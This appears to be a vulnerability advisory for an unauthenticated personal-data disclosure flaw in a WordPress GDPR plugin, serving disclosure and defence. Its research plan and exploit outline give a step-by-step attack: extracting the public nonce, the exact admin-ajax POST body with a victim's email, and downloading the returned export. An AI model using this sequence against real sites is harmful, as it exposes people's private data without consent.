CVE-2026-10034

WP DSGVO Tools (GDPR) <= 3.1.39 - Missing Authorization to Unauthenticated Sensitive Personal Data Disclosure via subject-access-request AJAX Endpoint (process_now/is_ajax Parameters)

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
3.1.40
Patched in
1d
Time to patch

Description

The WP DSGVO Tools (GDPR) plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.1.39. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to supply an arbitrary victim email address and trigger immediate SAR processing via the process_now and is_ajax parameters, receiving tokenized download links (zip_link, pdf_link) in the HTTP response that expose the victim's personal data — including WordPress account details, comment author names, email addresses, IP addresses, and comment content — without any proof of ownership. The nonce used for the CSRF check is publicly rendered by the SAR shortcode form and is shared across all anonymous visitors, meaning any unauthenticated attacker can trivially obtain a valid nonce and bypass this gate entirely.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.1.39
PublishedJune 18, 2026
Last updatedJune 19, 2026
Affected pluginshapepress-dsgvo

What Changed in the Fix

Changes introduced in v3.1.40

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-10034 ## 1. Vulnerability Summary **Vulnerability:** Missing Authorization to Unauthenticated Sensitive Personal Data Disclosure. **Component:** `WP DSGVO Tools (GDPR)` plugin, specifically the Subject Access Request (SAR) AJAX handling logic. **Vulnerable Ver…

Show full research plan

Exploitation Research Plan: CVE-2026-10034

1. Vulnerability Summary

Vulnerability: Missing Authorization to Unauthenticated Sensitive Personal Data Disclosure.
Component: WP DSGVO Tools (GDPR) plugin, specifically the Subject Access Request (SAR) AJAX handling logic.
Vulnerable Version: <= 3.1.39.
Root Cause: The SPDSGVOSubjectAccessRequestAction class, which handles the subject-access-request AJAX action, lacks sufficient authorization and identity verification. While it implements a CSRF check, the nonce required is rendered on public-facing pages to unauthenticated users and is not tied to a specific user session or email address. By providing the process_now and is_ajax parameters, an attacker can force the plugin to immediately generate a data export for any email address and return the download links directly in the AJAX response.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: subject-access-request (both wp_ajax_ and wp_ajax_nopriv_ are likely registered via the SPDSGVOAjaxAction::listen() mechanism).
  • Authentication: Unauthenticated.
  • Parameters:
    • action: subject-access-request (Required)
    • email: The target victim's email address (Required)
    • dsgvo_checkbox: Must be 1 (Required)
    • process_now: Must be 1 to trigger immediate data collection (Required)
    • is_ajax: Must be 1 to receive the links in the JSON response (Required)
    • nonce (or _wpnonce): A valid nonce for the subject-access-request action (Required)
    • website: Must be empty (Honeypot check)
    • first_name/last_name: Arbitrary strings.

3. Code Flow

  1. Entry Point: An unauthenticated POST request is sent to admin-ajax.php with action=subject-access-request.
  2. Action Initialization: SPDSGVOSubjectAccessRequestAction::listen() (in public/shortcodes/subject-access-request/subject-access-request-action.php) triggers the run() method.
  3. Honeypot Check: if(!empty($_POST['website'])) die(); ensures the honeypot field is empty.
  4. CSRF Check: $this->checkCSRF(); validates the provided nonce. Since the nonce is generated for uid=0 on public pages, any visitor can obtain a valid one.
  5. Data Insertion: SPDSGVOSubjectAccessRequest::insert() creates a new SAR record in the database.
  6. Immediate Processing: Because process_now is present, $sar->doSubjectAccessRequest($displayEmail) is called in includes/models/subject-access-request.php.
    • This calls SPDSGVODataCollecter->sar(), which aggregates WordPress user data, comments, and metadata associated with the provided email.
    • It generates PDF and JSON files in the wp-content/uploads directory.
  7. JSON Response: Because is_ajax is present, the plugin executes:
    echo wp_json_encode(array(
        'success'   => '1',
        'zip_link'  => SPDSGVODownloadSubjectAccessRequestAction::url(...),
        'pdf_link'  => SPDSGVODownloadSubjectAccessRequestAction::url(...),
    ));
    
  8. Data Disclosure: The attacker receives the zip_link containing a tokenized URL to download the victim's personal data.

4. Nonce Acquisition Strategy

The nonce is required to pass the checkCSRF() gate.

  1. Identify Shortcode: The plugin uses the shortcode [subject-access-request] (inferred from file structure) to render the SAR form.
  2. Create Trigger Page: Use WP-CLI to create a public page containing this shortcode.
    wp post create --post_type=page --post_status=publish --post_title="GDPR Request" --post_content='[subject-access-request]'
    
  3. Extract Nonce:
    • Navigate to the newly created page.
    • The plugin likely uses wp_localize_script to provide the AJAX URL and nonce to the frontend.
    • Based on standard patterns in this plugin, inspect the global JavaScript objects.
    • Recommended JS Eval: browser_eval("window.sp_dsgvo_data?.nonce") or inspecting the hidden input field in the form: browser_eval("document.querySelector('input[name=\"nonce\"]').value").
    • The action string used for generation is subject-access-request.

5. Exploitation Strategy

  1. Pre-requisite: Obtain the nonce from the public shortcode page.
  2. Trigger SAR: Send a POST request to the AJAX endpoint.
    • Tool: http_request
    • URL: {{base_url}}/wp-admin/admin-ajax.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=subject-access-request&email=victim@example.com&dsgvo_checkbox=1&process_now=1&is_ajax=1&nonce={{extracted_nonce}}&website=&first_name=Attacker&last_name=Researcher
      
  3. Capture Links: Parse the JSON response to extract the zip_link or pdf_link.
  4. Download Data: Perform a GET request to the extracted zip_link to retrieve the SAR package.

6. Test Data Setup

  1. Create Victim User:
    wp user create victim victim@example.com --role=subscriber --user_pass=password123
    
  2. Add Victim Data:
    wp comment create --comment_post_ID=1 --comment_author="Victim User" --comment_author_email="victim@example.com" --comment_content="This is sensitive personal information."
    
  3. Deploy Shortcode: (As described in Section 4)
    wp post create --post_type=page --post_status=publish --post_content='[subject-access-request]'
    

7. Expected Results

  • The AJAX POST request should return a 200 OK with a JSON body.
  • Example Response:
    {
      "success": "1",
      "zip_link": "http://localhost:8080/wp-admin/admin-ajax.php?action=download-subject-access-request&token=XXXXXXXXXXXX&file=zip",
      "pdf_link": "http://localhost:8080/wp-admin/admin-ajax.php?action=download-subject-access-request&token=XXXXXXXXXXXX&file=pdf"
    }
    
  • Accessing the zip_link should initiate a file download of a ZIP archive containing a PDF with the victim's comment and user metadata.

8. Verification Steps

  1. Check Uploads Directory: Verify the SAR files were created.
    ls -R wp-content/uploads/ | grep SAR
    
  2. Verify SAR Record: Check the subjectaccessrequest post type in the database.
    wp post list --post_type=subjectaccessrequest --fields=ID,post_title,post_status
    
  3. Confirm Content: Use curl or a browser to download the file from the zip_link and verify it contains "This is sensitive personal information."

9. Alternative Approaches

  • Token Prediction: If the AJAX response is suppressed, note that the token is generated using self::randomString(20) in includes/models/subject-access-request.php. While 20 characters of 0-9a-zA-Z is generally secure, the process_now path is the primary bypass as it returns the token directly.
  • Display Email Parameter: The doSubjectAccessRequest method accepts a $displayEmail parameter. If display_email=1 is passed in the POST request, the plugin may echo the entire email content (rendered via wp_kses_post($email->render())) directly into the AJAX response, providing another channel for data disclosure.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP DSGVO Tools (GDPR) plugin is vulnerable to an authorization bypass where unauthenticated attackers can obtain sensitive personal data of any user by providing their email address. By exploiting the AJAX endpoint with specific parameters, the plugin generates and returns download links for data exports containing account details and private metadata without verifying the requester's identity.

Vulnerable Code

// public/shortcodes/subject-access-request/subject-access-request-action.php lines 11-60
$this->checkCSRF();

// ... lines 39-43: Allows unauthenticated users to trigger immediate data collection
if($this->has('process_now')){
    $displayEmail = ($this->get('display_email', '0') == '1');
    $sar->doSubjectAccessRequest($displayEmail);
}

// ... lines 48-60: Returns direct download links in the AJAX response if is_ajax is provided
if($this->has('is_ajax')){
    echo wp_json_encode(array(
        'success'   => '1',
        'zip_link'  => SPDSGVODownloadSubjectAccessRequestAction::url(array(
            'token'     => $sar->token,
            'file'      => 'zip',
        )),
        'pdf_link'  => SPDSGVODownloadSubjectAccessRequestAction::url(array(
            'token'     => $sar->token,
            'file'      => 'pdf',
        )),
    ));
}

---

// public/shortcodes/subject-access-request/download-subject-access-request.php lines 13-35
$this->sar = SPDSGVOSubjectAccessRequest::finder('token', array(
    'token' => $this->get('token')
));

if(is_null($this->sar)){
    $this->error(__('Bad token provided.', 'shapepress-dsgvo'));
}

// No authorization check occurs before serving the files
switch($this->get('file', 'zip')){
    case 'json':
        $json = $this->sar->json_path;
        $this->download($json);
        break;
    // ...

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shapepress-dsgvo/3.1.39/includes/models/subject-access-request.php /home/deploy/wp-safety.org/data/plugin-versions/shapepress-dsgvo/3.1.40/includes/models/subject-access-request.php
--- /home/deploy/wp-safety.org/data/plugin-versions/shapepress-dsgvo/3.1.39/includes/models/subject-access-request.php	2023-01-27 09:41:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/shapepress-dsgvo/3.1.40/includes/models/subject-access-request.php	2026-06-16 10:41:58.000000000 +0000
@@ -181,17 +187,72 @@
 		return preg_replace('/\s+/', '', sprintf('SAR-%s-%s-%s.%s', ucfirst($this->first_name), ucfirst($this->last_name), $this->ID, $extension));
 	}
 
-	public static function randomString($len = 20){
+	public static function randomString($len = 20){
 		$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
 	    $charactersLength = strlen($characters);
 	    $randomString = '';
 	    for($i = 0; $i < $len; $i++){
 	        $randomString .= $characters[rand(0, $charactersLength - 1)];
 	    }
-	    return $randomString;
-	}
-
-    public function buildPDF(){
+	    return $randomString;
+	}
+
+    public function issueDownloadKey($ttl = NULL){
+        if($ttl === NULL){
+            $ttl = defined('DAY_IN_SECONDS') ? DAY_IN_SECONDS : 86400;
+        }
+
+        $downloadKey = wp_generate_password(48, FALSE, FALSE);
+        $this->download_key_hash = wp_hash_password($downloadKey);
+        $this->download_expires_at = (string) (current_time('timestamp') + absint($ttl));
+        $this->download_used_at = '';
+        $this->save();
+
+        return $downloadKey;
+    }
+
+    public function hasValidDownloadKey($downloadKey){
+        if(empty($downloadKey) || empty($this->download_key_hash)){
+            return FALSE;
+        }
+
+        if(!empty($this->download_used_at)){
+            return FALSE;
+        }
+
+        $expiresAt = intval($this->download_expires_at);
+        if($expiresAt > 0 && current_time('timestamp') > $expiresAt){
+            return FALSE;
+        }
+
+        return wp_check_password($downloadKey, $this->download_key_hash);
+    }
+
+    public function consumeDownloadKey(){
+        $this->download_used_at = (string) current_time('timestamp');
+        $this->download_key_hash = '';
+        $this->download_expires_at = '';
+        $this->save();
+    }
+
+    public function isOwnedByCurrentUser(){
+        if(!is_user_logged_in()){
+            return FALSE;
+        }
+
+        $user = wp_get_current_user();
+        if(!$user || empty($user->ID)){
+            return FALSE;
+        }
+
+        if(!empty($this->owner_user_id) && intval($this->owner_user_id) === intval($user->ID)){
+            return TRUE;
+        }
+
+        return !empty($this->email) && strcasecmp($this->email, $user->user_email) === 0;
+    }
+
+    public function buildPDF(){
 
         if(!class_exists( 'DSGVOTCPDF' )){
             require_once SPDSGVO::pluginDir('includes/lib/tcpdf/DSGVOTCPDF.php');
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shapepress-dsgvo/3.1.39/public/shortcodes/subject-access-request/subject-access-request-action.php /home/deploy/wp-safety.org/data/plugin-versions/shapepress-dsgvo/3.1.40/public/shortcodes/subject-access-request/subject-access-request-action.php
--- /home/deploy/wp-safety.org/data/plugin-versions/shapepress-dsgvo/3.1.39/public/shortcodes/subject-access-request/subject-access-request-action.php
+++ /home/deploy/wp-safety.org/data/plugin-versions/shapepress-dsgvo/3.1.40/public/shortcodes/subject-access-request/subject-access-request-action.php
@@ -35,7 +36,7 @@
                 __('A new subject access request from ','shapepress-dsgvo') .' '.$this->get('email')."' was made.");
         }
 
-        if($this->has('process_now')){
+        if($this->has('process_now') && current_user_can('administrator')){
             $displayEmail = ($this->get('display_email', '0') == '1');
             $sar->doSubjectAccessRequest($displayEmail);
         }
@@ -44,7 +45,8 @@
             $this->returnBack();
         }
 
-        if($this->has('is_ajax')){
+        /* we dont return the response directly to browser
+        if($this->has('is_ajax') && current_user_can('administrator')){
             echo wp_json_encode(array(
                 'success'   => '1',

Exploit Outline

The exploit target the `subject-access-request` AJAX action which is available to unauthenticated users. 1. **Nonce Acquisition**: An attacker visits any public page containing the `[subject-access-request]` shortcode. Because the nonce is shared among anonymous visitors, it can be extracted from the rendered HTML or JavaScript. 2. **Triggering the SAR**: The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the action `subject-access-request`, the victim's email, and the extracted nonce. Crucially, they include `process_now=1` and `is_ajax=1`. 3. **Data Retrieval**: The plugin immediately collects the victim's personal data (including account metadata, comment history, and IP addresses) into PDF/JSON files and responds with a JSON object containing direct download links. 4. **Download**: The attacker visits the provided `zip_link` to download the exported files. No additional authentication or email verification is required to complete the download in vulnerable versions.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.